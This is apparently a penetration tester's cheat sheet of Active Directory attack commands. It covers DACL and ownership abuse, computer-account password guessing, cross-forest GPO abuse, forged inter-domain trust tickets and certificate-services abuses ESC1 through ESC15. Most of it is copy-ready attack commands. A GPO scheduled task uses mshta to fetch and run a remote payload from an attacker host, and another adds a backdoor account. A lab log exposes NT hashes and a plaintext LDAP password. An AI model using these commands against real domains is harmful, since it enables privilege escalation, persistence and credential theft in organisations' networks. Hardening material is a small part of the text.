You are the owner of the AD object (or can become owner). Owner can always write the DACL → escalate to GenericAll / any right, then abuse the object.

Any principal over any object

Windows

  1. Take ownership if needed: Take-DomainObjectOwner -Identity '<TARGET>' -OwnerIdentity '<USERNAME>' (PowerView) or bloodyAD-equivalent
  2. Grant yourself full control: Add-DomainObjectAcl -TargetIdentity '<TARGET>' -PrincipalIdentity '<USERNAME>' -Rights All
  3. Abuse as GenericAll / WriteDACL / WriteOwner

Linux

  1. Become owner: bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set owner '<TARGET>' '<USERNAME>'
  2. Grant GenericAll: bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add genericAll '<TARGET>' '<USERNAME>'
  3. Continue with the matching abuse path (password reset, Shadow Credentials, RBCD, AddMember, …)

WriteMembers

Write access to the group member attribute — equivalent in practice to AddMember.

User over a Group

Windows

  • Powerview: Add-DomainGroupMember -Identity '<TARGET GROUP>' -Members '<TARGET USER>'
  • Powershell: Add-ADGroupMember -Identity '<TARGET GROUP>' -Members '<TARGET USER>'

Linux

  • net rpc group addmem '<TARGET GROUP>' '<TARGET USER>' -U '<DOMAIN>/<USERNAME>%<PASSWORD>' -S <DC IP>
  • bloodyAD --host '<DC IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add groupMember '<TARGET GROUP>' '<TARGET USER>'

Passwords and Trusts

Broken Trust Workstations (STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT)

Linux

Generate dictionaries

  1. Computers: ldapsearch-ad -l 10.10.116.145 -d 'retro2.vl' -u 'ldapreader' -p 'ppYaVcB5R' -t search -s '(&(userAccountControl=4128)(logonCount=0))' | grep "sAMAccountName" | awk '{print $5}' | tee computers.txt
  2. Passwords: cat computers.txt | awk '{print tolower($1)}' | tr -d '$' | tee passwords.txt

Check connection

  • netexec smb <DC_IP> -u computers.txt -p passwords.txt --no-bruteforce --dns-tcp

You will see the error message STATUS_NOLOGON_WORKSTATION_TRUST_ACCOUNT when you have guessed the correct password for a computer account that has not been used yet.

Change password

  1. Configure /etc/hosts:
    
    127.0.0.1       localhost
    127.0.0.1       kali
    ::1             localhost ip6-localhost ip6-loopback
    ff02::1         ip6-allnodes
    ff02::2         ip6-allrouters

10.10.94.104 BLN01.retro2.vl retro2.vl BLN01

2. Configure `/etc/krb5.conf`:
```bash
[libdefaults]
        default_realm = RETRO2.VL
        dns_lookup_realm = false
        dns_lookup_kdc = false

[realms]
        RETRO2.VL = {
                kdc = bln01.retro2.vl
                admin_server = bln01.retro2.vl
                kpasswd_server = bln01.retro2.vl
        }

[domain_realm]
        retro2.vl = RETRO2.VL
        .retro2.vl = RETRO2.VL
  1. Change the password: kpasswd FS01$

Password Expired (STATUS_PASSWORD_EXPIRED)

Linux

  • smbpasswd -r <DC_IP> -U <USERNAME>

  • Ability to create a GPO in a controlled domain
  • Write permissions over the created GPO
  • WriteGPLink permissions over a Site object
  • Domains must belong to the same forest
  • Does not work cross-forest
  1. Obtain the SID of the controlled domain:

    • Windows
      • whoami /user
      • Get-ADDomain | Select-Object DomainSID
    • Linux
      • impacket-lookupsid <DOMAIN>/<USERNAME>:<PASSWORD>@<DC_IP>
      • netexec ldap <DC IP> -u '<USERNAME>' -p '<PASSWORD>' --get-sid
  2. Create a new GPO: python3 gpb.py gpo create -d <CONTROLLED_DOMAIN> --dc <DC_FQDN> -u '<USERNAME>' -p '<PASSWORD>' -s <CONTROLLED_DOMAIN_SID> -n '<CREATED_GPO_NAME [Ex: LATERAL]>'

  3. Create the Scheduled Task Configuration File ImmediateTask_create_computer.ini:

    [MODULECONFIG]  
    name = Scheduled Tasks  
    type = computer
    [MODULEOPTIONS]  
    task_type = immediate  
    program = cmd.exe  
    arguments = /c mshta http://<ATTACKER_IP>/file.hta
    [MODULEFILTERS]  
  4. Inject the Scheduled Task into the GPO: python3 gpb.py gpo inject -d <CONTROLLED_DOMAIN> --dc <CONTROLLED_DC_FQDN> -u '<USERNAME>' -p '<PASSWORD>' -m ImmediateTask_create_computer.ini -n '<CREATED_GPO_NAME>'

  5. Link the GPO to a Site object inside the Configuration partitionusing PowerShell as a privileged user (e.g. Domain Admin or equivalent) (Change Default-First-Site-Name to desired site name): New-GPLink -Name <CREATED_GPO_NAME> -Target "CN=Default-First-Site-Name,CN=Sites,CN=Configuration,DC=<TARGET_DOMAIN>,DC=<TLD>" -Server <CONTROLLED_DC_FQDN>

  6. Unlink the GPO using PowerShell as a privileged user (e.g. Domain Admin or equivalent) (Change Default-First-Site-Name to desired site name): Remove-GPLink -Name <CREATED_GPO_NAME> -Target "CN=<SITE_NAME>,CN=Sites,CN=Configuration,DC=<TARGET_DOMAIN>,DC=<TLD>"

  7. Delete the GPO: python3 gpb.py gpo delete -d <CONTROLLED_DOMAIN> --dc <DC_FQDN> -u '<USERNAME>' -p '<PASSWORD>' -n '<CREATED_GPO_NAME>'

Domain Trust Abuse (No funciona, probar más)

https://medium.com/r3d-buck3t/breaking-domain-trusts-with-forged-trust-tickets-5f03fb71cd72

└─$ impacket-lookupsid 'denkiair-ops.com/Administrator@172.16.149.100' -hashes :749f6bfb0200dbbdb2fcbd03dd3ccaff | grep "Domain SID"
[*] Domain SID is: S-1-5-21-3201884533-1978816571-202098193

└─$ impacket-lookupsid 'denkiair-ops.com/Administrator@172.16.149.102' -hashes :749f6bfb0200dbbdb2fcbd03dd3ccaff | grep "Domain SID"
[*] Domain SID is: S-1-5-21-3313635286-3087330321-3553795959

└─$ impacket-ticketer -nthash 'e5aa80149c24cc14835155cf3a366dac' -domain-sid 'S-1-5-21-3201884533-1978816571-202098193' -domain 'denkiair-ops.com' -extra-sid 'S-1-5-21-3313635286-3087330321-3553795959-1603' -spn 'krbtgt/denkiair-prod.com' fakeuser 2>/dev/null
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Creating basic skeleton ticket and PAC Infos
[*] Customizing ticket for denkiair-ops.com/fakeuser
[*]     PAC_LOGON_INFO
[*]     PAC_CLIENT_INFO_TYPE
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Signing/Encrypting final ticket
[*]     PAC_SERVER_CHECKSUM
[*]     PAC_PRIVSVR_CHECKSUM
[*]     EncTicketPart
[*]     EncTGSRepPart
[*] Saving ticket in fakeuser.ccache

└─$ KRB5CCNAME="fakeuser.ccache" impacket-getST -k -no-pass -spn 'CIFS/dc03.denkiair-prod.com' 'denkiair-prod.com/fakeuser@dc03.denkiair-prod.com' -dc-ip 172.16.149.102
Impacket v0.12.0 - Copyright Fortra, LLC and its affiliated companies 

[+] Impacket Library Installation Path: /usr/lib/python3/dist-packages/impacket
[+] Using Kerberos Cache: fakeuser.ccache
[+] Returning cached credential for KRBTGT/DENKIAIR-PROD.COM@DENKIAIR-OPS.COM
[+] Using TGT from cache
[+] Username retrieved from CCache: fakeuser
[*] Getting ST for user
[+] Trying to connect to KDC at 172.16.127.102:88
[*] Saving ticket in fakeuser@dc03.denkiair-prod.com@CIFS_dc03.denkiair-prod.com@DENKIAIR-PROD.COM.ccache

└─$ KRB5CCNAME="fakeuser@dc03.denkiair-prod.com@CIFS_dc03.denkiair-prod.com@DENKIAIR-PROD.COM.ccache" netexec smb 172.16.149.102 -k --use-kcache --dns-tcp
SMB         172.16.127.102  445    DC03             [*] Windows 10 / Server 2019 Build 17763 x64 (name:DC03) (domain:denkiair-prod.com) (signing:True) (SMBv1:None) (Null Auth:True)
SMB         172.16.127.102  445    DC03             [+] DENKIAIR-OPS.COM\fakeuser from ccache

GPOs

Writable GPOs are one of the most reliable domain-persistence / lateral-movement primitives. Prefer machine-context payloads (Scheduled Task / Immediate Task) so the code runs as SYSTEM on members of the linked OU/Site.


GPOEdit

BloodHound edge: principal can edit GPO settings (typically write on GPLink / GPC file SYSVOL content without full DACL wipe). Abuse by dropping a malicious Scheduled Task / registry / script extension under \\<DOMAIN>\SYSVOL\<DOMAIN>\Policies\{<GPO_GUID>}.

Requirements

  • Write access to the GPO (GPC in AD and/or GPT in SYSVOL)
  • GPO linked to an OU/Site that contains target computers or users

Linux

  1. Resolve GPO GUID / path: bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' get object '<GPO_NAME>' --attr displayName,gPCFileSysPath,objectGUID
  2. Inject an Immediate Scheduled Task (example with pyGPOAbuse):
    • python3 pygpoabuse.py '<DOMAIN>/<USERNAME>:<PASSWORD>' -gpc-id '{<GPO_GUID>}' -f -command 'cmd.exe /c whoami > C:\\Windows\\Temp\\gpo.txt' -taskname 'Updater' -description 'Update' -user
  3. Or manually edit GPT XML under SYSVOL (ScheduledTasks.xml, Scripts.ini, …) with SMB write:
    • smbclient '//<DC_FQDN>/SYSVOL' -U '<DOMAIN>/<USERNAME>%<PASSWORD>'
  4. Force policy refresh on a target (if you have exec): gpupdate /force
  5. Full forest/site-oriented example: see GPO Abuse – Scheduled Task via Site Link

Windows

  1. SharpGPOAbuse (add computer/user computer startup script or immediate task):
    • SharpGPOAbuse.exe --AddComputerTask --TaskName 'Update' --Author 'NT AUTHORITY\SYSTEM' --Command 'cmd.exe' --Arguments '/c net user backdoor Password123! /add' --GPOName '<GPO_NAME>'
  2. Or edit the GPO in gpmc.msc / PowerShell if you have interactive rights
  3. Wait for GP refresh or force: Invoke-GPUpdate -Computer '<TARGET>' -Force

GpoEditDeleteModifySecurity

Stronger GPO control: edit settings and modify the GPO security descriptor (DACL). You can grant yourself full control, keep persistence on the GPO object, and still push malicious GPT content.

Requirements

  • Rights equivalent to edit + WriteDacl/WriteOwner on the GPO object

Linux

  1. Grant yourself full control on the GPO if needed:
    • bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' add genericAll '<GPO_NAME>' '<USERNAME>'
  2. Abuse exactly as GPOEdit (pyGPOAbuse / SYSVOL write / SharpGPOAbuse)
  3. Optionally hide/lock others out by rewriting the GPO DACL after planting the task

Windows

  1. PowerView: Add-DomainObjectAcl -TargetIdentity '<GPO_NAME>' -PrincipalIdentity '<USERNAME>' -Rights All
  2. Plant payload with SharpGPOAbuse / GPMC as in GPOEdit

Full GPO kill-chain edge: edit + modify security and (re)link the GPO to an OU/Site/Domain. If the GPO is not currently linked to your targets, create/change the link yourself.

  • GPO edit + DACL control
  • Rights to create/modify GPLink on the target OU / Site / Domain (WriteProperty on gPLink / GenericWrite on the container)
  1. Ensure control of the GPO (same as GpoEditDeleteModifySecurity)
  2. Link the GPO to the target OU/Site:
    • Powershell remoting / winrm if available: New-GPLink -Name '<GPO_NAME>' -Target 'OU=<OU>,DC=<DOMAIN>,DC=<TLD>'
    • Or set gPLink via LDAP/bloodyAD on the OU
  3. Plant a SYSTEM Scheduled Task as in GPOEdit
  4. Site-wide / cross-domain pattern: GPO Abuse – Scheduled Task via Site Link
  1. New-GPLink -Name '<GPO_NAME>' -Target 'OU=<OU>,DC=<DOMAIN>,DC=<TLD>'
  2. SharpGPOAbuse.exe --AddComputerTask --GPOName '<GPO_NAME>' --Command 'cmd.exe' --Arguments '/c <PAYLOAD>' --TaskName 'Update' --Author 'NT AUTHORITY\SYSTEM'
  3. Invoke-GPUpdate -Computer '<TARGET>' -Force

ADCS

Enumerate with Certipy / Certipy-ad: certipy find -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -vulnerable -stdout JSON export (for bloodhound_analyzer --adcs): certipy find -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -vulnerable -json -output <PREFIX>


ESC1 Misconfigured Certificate Templates

Template allows the enrollee to supply a Subject Alternative Name (SAN) and has Client Authentication (or Any Purpose) EKU. A low-priv user can request a certificate as any domain principal (e.g. Domain Admin).

Requirements

  • Enrollment rights on the vulnerable template
  • Enrollee Supplies Subject enabled
  • Client Authentication / Smart Card Logon / Any Purpose EKU
  • Manager approval disabled
  • Authorized signatures required = 0

Linux

  1. Request a certificate impersonating a privileged user: certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<TEMPLATE>' -upn 'administrator@<DOMAIN>' -out esc1
  2. Authenticate with the certificate (PKINIT) and recover the NT hash: certipy auth -pfx esc1.pfx -dc-ip <DC_IP> -domain '<DOMAIN>' -username 'administrator'
  3. Use the NT hash (Pass-the-Hash / DCSync / etc.)

Windows

  1. Request a certificate with a forged SAN (Certify): Certify.exe request /ca:<DOMAIN>\<CA_NAME> /template:<TEMPLATE> /altname:administrator
  2. Convert / use the certificate with Rubeus: Rubeus.exe asktgt /user:administrator /certificate:<CERT.pfx> /password:<PFX_PASSWORD> /ptt

ESC2 Any Purpose EKU

Template has the Any Purpose EKU (or no EKU). The certificate can be used as an Enrollment Agent certificate to enroll on behalf of other users (often chained with ESC3), or directly for client authentication depending on CA/policy.

Requirements

  • Enrollment rights on the template
  • EKU = Any Purpose (2.5.29.37.0) or empty EKU
  • Manager approval disabled / no authorized signatures required

Linux

  1. Request a certificate from the ESC2 template: certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<ESC2_TEMPLATE>' -out esc2
  2. If usable for client auth directly: certipy auth -pfx esc2.pfx -dc-ip <DC_IP>
  3. Otherwise use it as enrollment agent against an ESC3 template (see ESC3): certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<ESC3_TEMPLATE>' -on-behalf-of '<DOMAIN>\Administrator' -pfx esc2.pfx -out esc3_admin

ESC3 Enrollment Agent Templates

Two-template chain:

  1. Enrollment Agent template (Certificate Request Agent EKU) — enrollee obtains an agent certificate
  2. Subject template that requires an application policy / authorized signature from that agent — enrollee enrolls on behalf of any user

Requirements

  • Rights to enroll on the Certificate Request Agent template
  • A second template that requires the Enrollment Agent signature and allows Client Authentication
  • No manager approval blocking issuance

Linux

  1. Request an Enrollment Agent certificate: certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<ESC3_CRA_TEMPLATE>' -out agent
  2. Enroll on behalf of a privileged user: certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<ESC3_TEMPLATE>' -on-behalf-of '<DOMAIN>\Administrator' -pfx agent.pfx -out esc3_admin
  3. Authenticate: certipy auth -pfx esc3_admin.pfx -dc-ip <DC_IP> -domain '<DOMAIN>' -username 'administrator'

ESC4 Vulnerable Certificate Template Access Control

Principal has dangerous AD rights on the certificate template object (GenericAll, WriteDacl, WriteOwner, WriteProperty, etc.). Modify the template into an ESC1-like configuration, abuse it, then (optionally) restore the original ACLs/flags.

Requirements

  • GenericAll / WriteDacl / WriteOwner / write access over the template in AD
  • Ability to enroll after the modification (or grant yourself enrollment)

Linux

  1. Save / inspect current template config: certipy template -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -template '<TEMPLATE>' -json
  2. Make the template ESC1-vulnerable (Certipy default push): certipy template -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -template '<TEMPLATE>' -write-default-configuration
  3. Abuse as ESC1: certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<TEMPLATE>' -upn 'administrator@<DOMAIN>' -out esc4
  4. Authenticate: certipy auth -pfx esc4.pfx -dc-ip <DC_IP>
  5. Restore the original configuration from the saved JSON if needed: certipy template -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -template '<TEMPLATE>' -configuration <SAVED.json>

ESC5 Vulnerable PKI Object Access Control

Control over sensitive PKI containers / objects beyond templates (e.g. CN=Public Key Services, Certificate Templates container, Enrollment Services, NTAuthCertificates). Can lead to publishing rogue CAs, templates, or certificates trusted for authentication.

Requirements

  • Dangerous ACLs (GenericAll, WriteDacl, CreateChild, …) on PKI AD objects under: CN=Public Key Services,CN=Services,CN=Configuration,DC=<DOMAIN>

Linux

  1. Confirm control with Certipy / BloodHound / LDAP ACL review on PKI objects
  2. Depending on the object owned:
    • Publish a malicious / attacker-controlled CA certificate into NTAuthCertificates
    • Create or modify templates / enrollment services you can enroll against
  3. Enroll and authenticate with the resulting certificate: certipy auth -pfx <CERT>.pfx -dc-ip <DC_IP>

Exact steps depend on which PKI object is writable. Prefer mapping the ACE in BloodHound/Certipy before changing Configuration-partition objects.


ESC6 EDITF ATTRIBUTESUBJECTALTNAME2

CA flag EDITF_ATTRIBUTESUBJECTALTNAME2 is enabled. The CA accepts a SAN requested as a certificate name flag attribute even when the template does not allow enrollee-supplied subject. Any enrollable Client Authentication template on that CA becomes ESC1-equivalent.

Requirements

  • CA has EDITF_ATTRIBUTESUBJECTALTNAME2 (Certipy: User Specified SAN: Enabled)
  • A template you can enroll that allows Client Authentication

Linux

  1. Confirm with Certipy find (User Specified SAN: Enabled on the CA)
  2. Request a certificate with a crafted UPN against a normal enrollable template: certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template 'User' -upn 'administrator@<DOMAIN>' -out esc6
  3. Authenticate: certipy auth -pfx esc6.pfx -dc-ip <DC_IP>

Hardening note

  • Disable the flag on the CA: certutil -config '<CA_HOST>\<CA_NAME>' -setreg policy\EditFlags -EDITF_ATTRIBUTESUBJECTALTNAME2 then restart CertSvc

ESC7 Vulnerable Certificate Authority Access Control

Principal has ManageCA and/or ManageCertificates on the CA. Can approve pending requests, change CA configuration (including enabling ESC6), or otherwise coerce privileged certificate issuance.

Requirements

  • ManageCA and/or ManageCertificates on the Enterprise CA
  • Often combined with a template that requires manager approval (approve your own request) or with flipping SAN flags

Linux

  1. Detect with Certipy (ESC7 on the CA / dangerous CA ACL principals)
  2. Enable SAN abuse via CA config (ESC6 path) if ManageCA: remote registry / certutil as the privileged context on the CA host
  3. Or request a certificate that needs approval and approve it with ManageCertificates
  4. Authenticate with the issued certificate: certipy auth -pfx <CERT>.pfx -dc-ip <DC_IP>

Windows

  1. On the CA host (or remotely with sufficient rights), use certsrv.msc / certutil to approve requests or change policy modules
  2. Enable EDITF_ATTRIBUTESUBJECTALTNAME2 if needed, then follow ESC6

ESC8 NTLM Relay to AD CS HTTP Endpoints

AD CS Web Enrollment (/certsrv/) is reachable over HTTP (or HTTPS without channel binding). Relay a coerced victim (preferably a Domain Controller) to the enrollment endpoint and obtain a certificate for that machine account.

Requirements

  • Web Enrollment enabled (HTTP, or HTTPS without EPA/channel binding)
  • Ability to coerce NTLM auth from a high-value account (PrinterBug / PetitPotam / etc.)
  • Victim account that can enroll on a Client Authentication template (machine accounts usually can enroll Machine / DomainController)

Linux

  1. Start the relay targeting Web Enrollment: certipy relay -target 'http://<CA_FQDN>/certsrv/' -template DomainController
    • Or with Impacket: impacket-ntlmrelayx -t 'http://<CA_FQDN>/certsrv/certfnsh.asp' -smb2support --adcs --template DomainController
  2. Coerce the DC (example PetitPotam): python3 PetitPotam.py -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' <LISTENER> <DC_FQDN>
  3. Authenticate with the captured certificate: certipy auth -pfx <DC_CERT>.pfx -dc-ip <DC_IP>
  4. DCSync / dump with the obtained machine credentials

Prefer coercing a DC when the DomainController / DomainControllerAuthentication template is enrollable by the machine account.


ESC9 No Security Extension

Template has CT_FLAG_NO_SECURITY_EXTENSION in msPKI-Enrollment-Flag. The issued certificate omits the szOID_NTDS_CA_SECURITY_EXT SID extension, so StrongCertificateBindingEnforcement / certificate mapping can be bypassed when combined with the ability to write a victim’s dNSHostName / UPN (or other mapping attributes).

Requirements

  • Template with no security extension
  • Write access to a victim account attribute used for implicit mapping (commonly dNSHostName / UPN) — often via GenericWrite / AllExtendedRights
  • Client Authentication EKU on the template

Linux

  1. Read Certipy finding (ESC9: template has no security extension)
  2. Set the victim’s mapping attribute to match an account you can enroll as (example with bloodyAD): bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<VICTIM>' dNSHostName -v '<CONTROLLED_HOST>.<DOMAIN>
  3. Enroll on the ESC9 template: certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<ESC9_TEMPLATE>' -out esc9
  4. Authenticate as the victim: certipy auth -pfx esc9.pfx -dc-ip <DC_IP> -username '<VICTIM>'

ESC10 Weak Certificate Mappings

Weak registry certificate mapping on DCs (CertificateMappingMethods / StrongCertificateBindingEnforcement). UPN or other weak mappings allow authentication as another user with a certificate that only matches a writable name attribute.

Requirements

  • Weak mapping mode on the KDC / Schannel (e.g. UPN mapping allowed, strong binding disabled or compatibility mode)
  • Ability to write the victim’s UPN (or relevant altSecurityIdentities / name fields)
  • Any Client Authentication certificate you can enroll

Linux

  1. Confirm weak mapping (Certipy / registry on DC):
    • HKLM\SYSTEM\CurrentControlSet\Control\SecurityProviders\Schannel\CertificateMappingMethods
    • HKLM\SYSTEM\CurrentControlSet\Services\Kdc\StrongCertificateBindingEnforcement
  2. Overwrite the victim UPN to one you control: bloodyAD --host '<DC_IP>' -d '<DOMAIN>' -u '<USERNAME>' -p '<PASSWORD>' set object '<VICTIM>' userPrincipalName -v '<CONTROLLED_UPN>'
  3. Enroll a client-auth certificate for the controlled UPN: certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template 'User' -out esc10
  4. Authenticate: certipy auth -pfx esc10.pfx -dc-ip <DC_IP>
  5. Restore the victim UPN after obtaining the hash/TGT

ESC11 Relaying to ICPRPC

Relaying NTLM authentication to the CA’s ICPR RPC interface (ICertPassage) when the CA does not require encryption (similar idea to ESC8, but RPC instead of HTTP Web Enrollment).

Requirements

  • CA allows ICPR enrollment without encryption / with relayable auth
  • Coercion of a victim that can enroll a useful template
  • Relay tool support for ICPR (Certipy / custom ntlmrelayx)

Linux

  1. Detect with Certipy (ESC11 on the CA)
  2. Start Certipy relay against the CA RPC enrollment endpoint: certipy relay -target 'rpc://<CA_FQDN>' -template DomainController
  3. Coerce authentication from a DC / high-value machine to the relay listener
  4. Authenticate with the received PFX: certipy auth -pfx <CERT>.pfx -dc-ip <DC_IP>

Template is linked to an issuance policy OID that maps (via OID group link) into a privileged AD group. Enrolling the template grants the certificate the associated group membership in the PAC / logon token — effectively adding the enrollee to that group without touching member.

  • Template with Client Authentication and an issuance policy OID
  • OID object linked to a privileged group (msDS-OIDToGroupLink)
  • Enrollment rights on the template for the attacker
  1. Confirm with Certipy (ESC13 + Linked Groups on the template)
  2. Enroll: certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<ESC13_TEMPLATE>' -out esc13
  3. Authenticate and use the ticket/hash — the resulting identity includes the linked group privileges: certipy auth -pfx esc13.pfx -dc-ip <DC_IP>

ESC15 EKU Confusion Schema V1

CVE-2024-49019 / EKUwu: schema version 1 templates can be abused so the applicant supplies application policies / EKUs that the CA does not adequately constrain. Enrollee can obtain a certificate with EKUs required for authentication or enrollment-agent scenarios even when the template appears limited.

Requirements

  • Template with msPKI-Template-Schema-Version = 1
  • Enrollment rights on that template
  • CA / environment still vulnerable (patch status matters)

Linux

  1. Confirm schema v1 + Certipy ESC15 finding
  2. Request a certificate while specifying client-auth / agent application policies (Certipy): certipy req -u '<USERNAME>@<DOMAIN>' -p '<PASSWORD>' -dc-ip <DC_IP> -ca '<CA_NAME>' -template '<ESC15_TEMPLATE>' -application-policies '1.3.6.1.5.5.7.3.2' -out esc15
  3. Authenticate: certipy auth -pfx esc15.pfx -dc-ip <DC_IP>
  4. Or chain into on-behalf-of enrollment if an agent EKU was obtained (see ESC3)

Patch CAs / remove schema v1 templates from enrollment where possible. Prefer schema v2+ templates with explicit EKUs.